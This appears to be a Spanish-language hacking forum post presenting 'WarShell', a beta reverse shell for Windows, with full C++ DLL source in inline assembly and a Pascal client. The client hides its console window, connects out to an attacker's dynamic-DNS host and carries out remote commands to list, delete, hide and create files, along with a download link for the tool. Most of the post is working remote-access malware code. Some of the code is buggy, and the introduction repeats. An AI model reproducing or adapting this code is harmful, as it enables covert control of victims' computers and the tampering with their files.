Saludos.
Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal
pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X,
ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de
de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto
esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña
shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes.
propiedades de la shell:
Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal
pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X,
ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de
de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto
esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña
shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes.
propiedades de la shell:
- Multiconexión
- Migrar las sesiones de las conexiones actuales
- Lista archivos y carpetas
- Muestra información de las unidades del sistema
- Despliega información de un archivo(como la ultima fecha de modificación, peso, etc..)
- Permite borrar archivos/carpetas, crearlas, esconderlas
- Muestra la hora del sistema
- ip y demas...
Las contras son que tienen varios fallos, muchas veces en la escritura de los sockets.
Por que como dije, en estos 2 días no corregí todo ademas hay funciones que deben
ser cambiadas...
También quería comentar que estuve estudiando AT&T y se me hizo un tanto más difícil que
la sintaxis de intel(por lo menos ami).
el administrador de la shell lo dejare en la descarga ya que es muy simple.
Esta programado con tserversocket.
Link para descarga de la shell: http://www.mediafire.com/download/d1g9ehi227ctkka/WarShell.rar
Sin mas que decir el código de la .dll en C++Código (cpp) [Seleccionar]#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>
#include <time.h>
/*
Las siguientes funciones como los desensamblados
en ImmDbg fueron escritas en AT&T por Warz0n3,
puedes encontrarme en indetectables.net y
foro.elhacker.net por cualquier duda que tengas.
*/
#define CALLEXPORT extern "C"
#define __callspec __declspec(dllexport)
typedef struct _wc_sconf
{
HANDLE hFile;
WIN32_FIND_DATA FindFile;
time_t rawtime;
struct tm *timeinfo;
} pwc_confsock;
#define drive_sz 27
#define BYTE_NO_ALIGN -0x1
#define BYTE_ALIGN 0x1
#define DRIVER_DESCONOCIDO 0x0
#define DRIVER_SYSLEN 0x4
#define DRIVER_DESMONTABLE 0x2
#define DRIVER_FIJO 0x3
#define DRIVER_REMOTO 0x4
#define DRIVER_CDROM 0x5
#define DRIVER_RAMDISK 0x6
const LPCWSTR drivers[drive_sz] = {
L"A:/", L"B:/", L"C:/", L"D:/",
L"E:/", L"F:/", L"G:/", L"H:/",
L"I:/", L"J:/", L"K:/", L"L:/",
L"M:/", L"N:/", L"O:/", L"P:/",
L"Q:/", L"R:/", L"S:/", L"T:/",
L"U:/", L"V:/", L"W:/", L"X:/",
L"Y:/", L"Z:/"};
UINT driver_type; // unsigned int
char *driver_buff[_MAX_PATH];
CALLEXPORT
{ // compara que 2 integros sean iguales, si lo son retorna el valor constante
// de nuestro operando(sin signo) y si no es igual retorna -1
__callspec __stdcall int WIN32__volatil__cmplogic(int cmpval, int retval)
{
asm volatile ( // no guardamos la variable en el microprocesador
"sub $0x4, %%esp\n"
"mov 0x8(%%ebp), %%eax\n" // preparamos el s.frame
"cmp 0xc(%%ebp), %%eax\n" // comparamos el parametro de la variable (este es el puntero pre-definido por el stack frame)
"jne a2\n" // si la comparacion dio negativa saltamos a a2
// lo preparamos por si es igual (1)
"movl $0x1, %%eax\n" // movemos positivo(1) a eax
"movl %%eax, %0\n" // movemos eax a eax
"nop\n"
"mov 0xc(%%ebp), %%eax\n"
"mov %%eax, 0xfffffffc(%%ebp)\n"
"jmp a3\n" // si es igual saltamos a a3
"a2: movl $0xffffffff, 0xfffffffc(%%ebp)\n" // si no es igual mueve -1 a ebp
"a3: mov 0xfffffffc(%%ebp), %%eax\n"
"leave\n"
"ret\n" // salimos y retornamos de la funcion
:"=r"(retval) // y en el output de solo escritura retornamos la variable
:"r"(0x00000000) // movemos el octeto de 0 en el input (solo para preparar)
);
}
/*
intel x86
Como se ve mi funcion en ImmDbg
00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 83EC 08 SUB ESP,8
00401299 |. 8D45 08 LEA EAX,DWORD PTR SS:[EBP+8] ; |
0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012A0 |. C70424 0200000>MOV DWORD PTR SS:[ESP],2 ; |
004012A7 |. E8 94010000 CALL <JMP.&WS2_32.WSAStartup> ; \WSAStartup
004012AC |. 83EC 08 SUB ESP,8
004012B2 |. C9 LEAVE
004012B3 \. C3 RETN
Funcion en AT&T
push %ebp , mov %esp , %ebp <- en este caso no lo hago por que las functiones en c++
ya se inicializan con el stack frame pre-configurado...
401293: 83 ec 08 sub $0x8,%esp
.......
401299: 8d 45 08 lea 0x8(%ebp),%eax
40129c: 89 44 24 04 mov %eax,0x4(%esp)
4012a0: c7 04 24 02 00 00 00 movl $0x2,(%esp)
4012a7: e8 94 01 00 00 call 0x401440
4012ac: 83 ec 08 sub $0x8,%esp
.......
4012b2: c9 leave
4012b3: c3 ret
*/
__callspec __stdcall void wcsock_init_driver(WSADATA wsa)
{
__asm__(
"sub $0x8, %esp \n"
"lea 0x8(%ebp), %eax \n"
"mov %eax, 0x4(%esp) \n"
"movl $0x2,(%esp) \n"
"call _WSAStartup@8 \n"
"sub $0x8, %esp \n"
"leave \n"
"ret \n"
);
}
__callspec __stdcall void wcsock_connect_matrix(SOCKET wc_tcpsock, struct sockaddr_in saddr)
{
connect(wc_tcpsock, (struct sockaddr *)&saddr, sizeof(saddr));
}
/* Como se ve mi funcion en ImmDbg
004012B0 /$ 55 PUSH EBP
004012B1 |. 89E5 MOV EBP,ESP
004012B3 |. 83EC 08 SUB ESP,8
...
004012B9 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
004012BC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012BF |. E8 9C010000 CALL <JMP.&WS2_32.closesocket> ; \closesocket
004012C4 |. 83EC 04 SUB ESP,4
004012C7 |. E8 A4010000 CALL <JMP.&WS2_32.WSACleanup> ; [WSACleanup
...
004012CF |. C9 LEAVE
004012D0 \. C3 RETN
los mov eax, ebp y esp son los parametros al s.frame incluso
el de subs para volver, y una ves llamada la funcion salgo.
*/
__callspec __stdcall void wcsock_free(SOCKET wc_tcpsock)
{
__asm__(
"mov 0x8(%ebp), %eax \n"
"mov %eax, (%esp) \n"
"call _closesocket@4 \n"
"sub $0x4, %esp \n"
"call _WSACleanup@0 \n"
"leave \n"
"ret \n"
);
}
/*
// Simple peticion por GET.
__callspec __stdcall char* wcsock_get_proto(SOCKET sock, int buffsize)
{
char reply[buffsize], *metodo;
metodo= "GET / HTTP/1.1\r\n\r\n";
send(sock, metodo, strlen(metodo), 0);
recv(sock, reply, buffsize, 0);
return reply;
}*/
/* intel x86
00401299 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; ||
0040129C |. 890424 MOV DWORD PTR SS:[ESP],EAX ; ||
0040129F |. E8 AC070000 CALL <JMP.&msvcrt.strlen> ; |\strlen
004012A4 |. C74424 0C 0000>MOV DWORD PTR SS:[ESP+C],0 ; |
004012AC |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX ; |
004012B0 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; |
004012B3 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012B7 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
004012BA |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012BD |. E8 9E010000 CALL <JMP.&WS2_32.send> ; \send
004012C2 |. 83EC 10 SUB ESP,10
La config de s.frame se da igual que en los otros casos...
@necesario para el compilador
*/
__callspec __stdcall void wcsock_sendstr(SOCKET sock, char *msg)
{
__asm__(
"sub $0x18,%esp \n"
"mov 0xc(%ebp), %eax \n"
"mov %eax, (%esp) \n"
"call _strlen \n"
"movl $0x0, 0xc(%esp) \n"
"mov %eax, 0x8(%esp) \n"
"mov 0xc(%ebp), %eax \n"
"mov %eax, 0x4(%esp) \n"
"mov 0x8(%ebp), %eax \n"
"mov %eax,(%esp) \n"
"call _send@16 \n"
"sub $0x10,%esp \n"
"leave \n"
"ret \n"
);
}
__callspec __stdcall void WIN32SendFindFile(SOCKET wc_tcpsock, char *path
, char *delim, int SOCK_TYPE)
{
pwc_confsock sfile;
char fpath[_MAX_PATH], *ffpath[_MAX_PATH];
//char *driver_buff[_MAX_PATH];
strcpy(fpath, path);
sfile.hFile= FindFirstFile(fpath, &sfile.FindFile);
while (FindNextFile(sfile.hFile, &sfile.FindFile)!=false)
{
if (ffpath[0]==0x0) send(wc_tcpsock, (const char *)delim, strlen(delim), SOCK_TYPE);
ffpath[0]= strcat(sfile.FindFile.cFileName, delim);
send(wc_tcpsock, ffpath[0], strlen(sfile.FindFile.cFileName), SOCK_TYPE);
}
}
__callspec __stdcall void wcsock_double_buffer_send(SOCKET wc_tcpsock, char *dbuffer,
char *permutar )
{
for (int i=BYTE_ALIGN; i<=0x2; i++){
wcsock_sendstr(wc_tcpsock, dbuffer);
if ( WIN32__volatil__cmplogic(0x2, i+0x1)!=BYTE_NO_ALIGN)
__asm__ volatile( "movl %0, %%eax" : "=r"(dbuffer) : "r"(permutar) ); // lo pongo en el GPR y el registro es el acumulativo
}
}
__callspec __stdcall char *WIN32GetLogicalDrivers(int *, char *delim, int forsignal, int *)
{
driver_type= GetDriveTypeW(drivers[forsignal]);
#ifdef DRIVER_DESCONOCIDO
if (driver_type==DRIVER_DESCONOCIDO)return (char *)drivers[forsignal];
#endif
#ifdef DRIVER_DESMONTABLE
if (driver_type==DRIVER_DESMONTABLE)return (char *)drivers[forsignal];
#endif
#ifdef DRIVER_FIJO
if (driver_type==DRIVER_FIJO)return (char *)drivers[forsignal];
#endif
#ifdef DRIVER_REMOTO
if (driver_type==DRIVER_REMOTO)return (char *)drivers[forsignal];
#endif
#ifdef DRIVER_CDROM
if (driver_type==DRIVER_CDROM)return (char *)drivers[forsignal];
#endif
#ifdef DRIVER_RAMDISK
if (driver_type==DRIVER_RAMDISK)return (char *)drivers[forsignal];
#endif
}
/*
004014E9 |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] ; ||||
004014EC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; ||||
004014EF |. E8 8C050000 CALL <JMP.&msvcrt.time> ; |||\time
*/
__callspec __stdcall void WIN32SendSysTime(SOCKET wc_tcpsock, char *delim, int SOCK_TYPE)
{
pwc_confsock stime;
stime.timeinfo = localtime ( &stime.rawtime );
printf ( "Current local time and date: %s", asctime (stime.timeinfo) );
send(wc_tcpsock, asctime(stime.timeinfo), 0x248, SOCK_TYPE);
}
__callspec __stdcall void WIN32SendCurrentDir(SOCKET wc_tcpsock, TCHAR delim,
int SOCK_TYPE)
{
DWORD nBufferLength;
TCHAR lpBuffer[2048]= {delim}; //strlen((const char*)delim)
GetCurrentDirectory(nBufferLength, lpBuffer+0x1);
send(wc_tcpsock, lpBuffer, strlen(lpBuffer), SOCK_TYPE);
}
//int PASCAL recv(SOCKET,char*,int,int);
/*__callspec __stdcall int wcsock_recv(SOCKET sock, char *recv_buffer
, int type_sock)
{
return recv(sock, recv_buffer, strlen(recv_buffer), type_sock);
}*/
}
El servidor de la shellCódigo (pascal) [Seleccionar]program WarCSock;
uses
SysUtils,
WINDOWS,
WinSock,
Kol;
{$APPTYPE CONSOLE}
const
warcsock_lib = 'WarCSock.dll';
WCS_SOCK_STREAM = $00000001;
WCS_TCP_INET = $00000002;
WCS_PROTO_TCP = $00000006;
WCS_SOCK_ZERO = $00000000;
DRIVER_SYSLEN = $0000001B;
BYTE_NO_ALIGN =-$00000001;
// I/O
WCS_FILE_SHARE_READ = $00000001;
WCS_FILE_SHARE_WRITE = $00000002;
WCS_FILE_ATTR_NORMAL = $00000080;
WCS_FILE_CREATE = $00000002;
WCS_FILE_ATTR_READONLY = $00000001 platform;
WCS_FILE_ATTR_HIDDEN = $00000002 platform;
WCS_FILE_ATTR_SYSTEM = $00000004 platform;
WCS_FILE_ATTR_DIR = $00000010;
WCS_FILE_ATTR_ARCHIVE = $00000020 platform;
// simple encriptacion de los valores chars en bytes
EncryptedHashBytesBuffer : array[0..25] of Integer= (
$B6-105 xor (3 shl 2), $B2-112, $A0-77 xor (2 shl 3),
$44, $65 xor (2 shl 4), $42 xor (1 shl 2), $4F xor 2 shl 2,
$60 xor (5 shl 3), $4B xor 2, $46 xor (3 shl 2),
$A3-84 xor 4, $B8-108, $B8-107, $4A xor 4, $A4-89 xor 4,
$70 xor (4 shl 3), $57 xor (3 shl 1), $5A xor (1 shl 3),
$73 xor 4 shl 3, $64 xor (3 shl 4), $59 xor (3 shl 2),
$56, $55 xor 2, $68 xor (3 shl 4), $5B xor 2, $58 xor 2
);
type
PHost_addr = ^sock_addr_in; // la estructura para mis sockets
sock_addr_in = record
pAddr : sockaddr_in;
WSA : WsaData;
TcpSock : TSocket;
ChBuffer : array[$00..2048] OF Char;
PaBuffer : array[$00..(GETEXTENDEDTEXTMETRICS*2)] OF AnsiChar;
Strlist : PStrList;
end;
function WIN32__volatil__cmplogic(cmpval, retval: integer): integer; stdcall; external warcsock_lib NAME 'WIN32__volatil__cmplogic';
function wcsock_init_driver(WSA:WsaData) : Integer; stdcall; external warcsock_lib NAME 'wcsock_init_driver';
procedure wcsock_connect_matrix(TcpSock:tSocket; sAddr:sockaddr_in); stdcall; external warcsock_lib NAME 'wcsock_connect_matrix';
function wcsock_get_proto(TcpSock:tSocket; buffSize:Integer) : PChar; stdcall; external warcsock_lib NAME 'wcsock_get_proto';
procedure wcsock_sendstr(TcpSock:tSocket; MSG:string); stdcall; external warcsock_lib NAME 'wcsock_sendstr';
procedure wcsock_double_buffer_send(TcpSock:tSocket; MSG:string; Permutar:string); stdcall; external warcsock_lib NAME 'wcsock_double_buffer_send';
procedure WIN32SendFindFile(TcpSock:tSocket; FPath, Delim: PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendFindFile';
function WIN32GetLogicalDrivers( NullStackFramePointer : Integer; Delim:PChar; DriverList, NullStackFrameRef : Integer): PChar; stdcall; external warcsock_lib NAME 'WIN32GetLogicalDrivers';
procedure WIN32SendSysTime(TcpSock:tSocket; Delim:PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendSysTime';
procedure WIN32SendCurrentDir(TcpSock:tSocket; Delim:AnsiChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendCurrentDir';
//function wcsock_recv(TcpSock:tSocket; Recv_Buffer:PChar; TypeSock:Integer) : Integer ; stdcall; external warcsock_lib NAME 'wcsock_recv';
procedure wcsock_free(TcpSock:tSocket); stdcall; external warcsock_lib NAME 'wcsock_free';
function GetConsoleWindow : HWND; stdcall; external kernel32 name 'GetConsoleWindow';
var
Wsa : WsaData;
TcpSock : TSocket;
PHostAddr : PHost_addr;
Host : string;
Port : Uint;
TcpInit : BOOL;
sData : string;
FAttr : Integer;
FHandle : DWORD;
function // solo usar para las conexiones remotas
__call_ix86_getip(): PChar; assembler;
asm
PUSH EBX
ADD ESP, 0FFFFFE70h
PUSH ESP // configuro de la pila
PUSH $1
CALL WSASTARTUP
PUSH Host // 04081B4h
CALL GetHostByName
MOV EAX, [EAX+0Ch] // puntero en el stack frame
XOR EDX, EDX
MOV EAX, [EAX+EDX*4]
PUSH DWORD PTR [EAX]
CALL INET_NTOA
MOV EBX, EAX
CALL WSACleanup
MOV EAX, EBX
ADD ESP, 0190h
POP EBX
RETN
end;
(*
0040845D |. 53 PUSH EBX ; /FileName
0040845E |. E8 09FFFFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA
*)
function
AsmDeleteFileA(fname : PCHAR) : integer;
begin
ASM // si no existe retorna -1
OR ESI, 0FFFFFFFFh
NOP
END;
{$I-}
if FileExists(fname) then
ASM
PUSH EBX
CALL DELETEFILEA
MOV EBX, $1
MOV ESI, EBX // retorna 1 si encuentra el archivo
END; {$I+}
end;
function
WIN32GetDriverList(delim:string) : string;
var
i : Integer;
Hash : Char;
begin
Result:= '';
for i:= 0 to DRIVER_SYSLEN do begin
for Hash:=Chr(EncryptedHashBytesBuffer[0]) to Chr(EncryptedHashBytesBuffer[25]) do begin
// preconfiguracion del stack frame cuando es llamada en C aun que en pascal paresca inutil los argumentos son requeridos
if POS( Hash, WIN32GetLogicalDrivers($0, #0, i, $0) )<>0 then
Result:= Result+delim+Hash;
end;
end;
Result:= Result;
end;
begin
ShowWindow(GetConsoleWindow, SW_HIDE);
GetMem(PHostAddr, 3*sizeof(sock_addr_in));
Host:= 'www.tu-noip.com'; // solo usar en caso de conexiones remotas
Port:= 999;
wcsock_init_driver(WSA);
ASM
PUSH WCS_SOCK_ZERO
PUSH WCS_SOCK_STREAM // stack frame para la configuracion de mi socket
PUSH WCS_TCP_INET
CALL SOCKET
MOV ESI, EAX
END;
PHostAddr^.pAddr.sin_family := WCS_TCP_INET;
PHostAddr^.pAddr.sin_port := u_short(htons(Port));
PHostAddr^.pAddr.sin_addr.s_addr := inet_addr('127.0.0.1');
//inet_addr( __call_ix86_getip() ); SOLO EN CASO DE CONEXIONES REMOTAS
PHostAddr^.Strlist := NewStrList;
wcsock_connect_matrix(TcpSock, PHostAddr^.PAddr);
WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); //wcsock_send(TcpSock, '&MSG');
while TcpInit=true do begin
sleep(1 div $5);
Recv(TcpSock, PHostAddr^.CHBuffer, length(PHostAddr^.CHBuffer), WCS_SOCK_ZERO);
if PHostAddr^.CHBuffer>'' then begin
//WRITELN( PHostAddr^.chBuffer );
if strpos(PHostAddr^.ChBuffer, 'ls')<>nil then
begin
sData:= system.copy(PHostAddr^.ChBuffer, 10, length(PHostAddr^.ChBuffer)-$1);
WIN32SendFindFile(TcpSock, PChar(sData+'*.*'), '%FILES', WCS_SOCK_ZERO);
end;
if strpos(PHostAddr^.ChBuffer, 'get_drivers')<>nil then
wcsock_sendstr(TcpSock, '%DRVLST'+WIN32GetDriverList('-') );
if strpos(PHostAddr^.ChBuffer, 'get_time')<>nil then
WIN32SendSysTime(TcpSock, '%TIME', WCS_SOCK_ZERO);
if strpos(PHostAddr^.ChBuffer, 'mkfile')<>nil then
begin {$I-}
sData:= system.copy(PHostAddr^.ChBuffer, 8, length(PHostAddr^.ChBuffer));
if (Windows.CreateFile(PChar(sData), WCS_FILE_SHARE_READ, WCS_FILE_SHARE_WRITE,
nil, WCS_FILE_CREATE, WCS_FILE_ATTR_NORMAL, 0)<>-1) then
wcsock_sendstr(TcpSock, 'Archivo '+sData+' creado exitosamente!')
{$I+}
end;
if strpos(PHostAddr^.ChBuffer, 'info')<>nil then
begin
sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
if FileExists(sData) then
begin
FAttr:= FileGetAttr(PChar(sData));
if FAttr and WCS_FILE_ATTR_READONLY > 0
then wcsock_sendstr(TcpSock, '- Archivo de solo lectura')
else wcsock_sendstr(TcpSock, '- El archivo no es de solo lectura');
if FAttr and WCS_FILE_ATTR_HIDDEN > 0
then wcsock_sendstr(TcpSock,'- Archivo oculto')
else wcsock_sendstr(TcpSock,'- Archivo desoculto');
if FAttr and WCS_FILE_ATTR_SYSTEM > 0
then wcsock_sendstr(TcpSock,'- Archivo del sistema')
else wcsock_sendstr(TcpSock,'- El archivo no es del sistema');
FAttr:= FileAge(sData);
wcsock_sendstr(TcpSock, '- fecha de ultima modificacion: '+DateToStr(FileDateToDateTime(FAttr))+
#13#10+'- tamaño del archivo: '+IntToStr(Kol.FileSize(sData))+' bytes' );
end
else if DirectoryExists(sData) then
begin
wcsock_sendstr(TcpSock,'- El archivo es de tipo carpeta');
end
else begin
wcsock_sendstr(TcpSock,'- El archivo/carpeta no existe.');
end;
end;
if strpos(PHostAddr^.ChBuffer, 'hide')<>nil then
begin {$I-}
sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
FileSetAttr(sData, faHidden);
wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' escondido')
{$I+}
end;
if strpos(PHostAddr^.ChBuffer, 'show')<>nil then
begin {$I-}
sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
FileSetAttr(sData, 0);
wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' desocultado');
{$I+}
end;
if strpos(PHostAddr^.ChBuffer, 'del')<>nil then
begin
sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer));
if (AsmDeleteFileA(PChar(sData))<>BYTE_NO_ALIGN)then
wcsock_sendstr(TcpSock, 'Archivo borrado correctamente!')
else
wcsock_sendstr(TcpSock, 'Archivo no encontrado...');
end;
if strpos(PHostAddr^.ChBuffer, 'mkdir')<>nil then
begin {$I-}
sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(CreateDir(sData)<>false)) then
wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido creada exitosamente!')
else
wcsock_sendstr(TcpSock, 'Se ha producido un error al crear la carpeta');
end; {$I+}
if strpos(PHostAddr^.ChBuffer, 'rmdir')<>nil then
begin {$I-}
sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(RemoveDir(sData)<>false)) then
wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido borrado correctamente!')
else
wcsock_sendstr(TcpSock, 'Se ha producido un error al borrar la carpeta(o esta no existe)');
end; {$I+}
if strpos(PHostAddr^.ChBuffer, 'chd')<>nil then
begin
sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)-$1);
{$I-}SETCURRENTDIR(sData);{$I+}
end;
if strpos(PHostAddr^.ChBuffer, 'exit')<>nil then
begin
wcsock_sendstr(TcpSock, 'Saliendo del servidor... ');
TcpInit:= false;
end;
WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO);
end;
end;
Shutdown(TcpSock, WCS_TCP_INET);
wcsock_free(TcpSock);
FreeMem(PHostAddr);
end.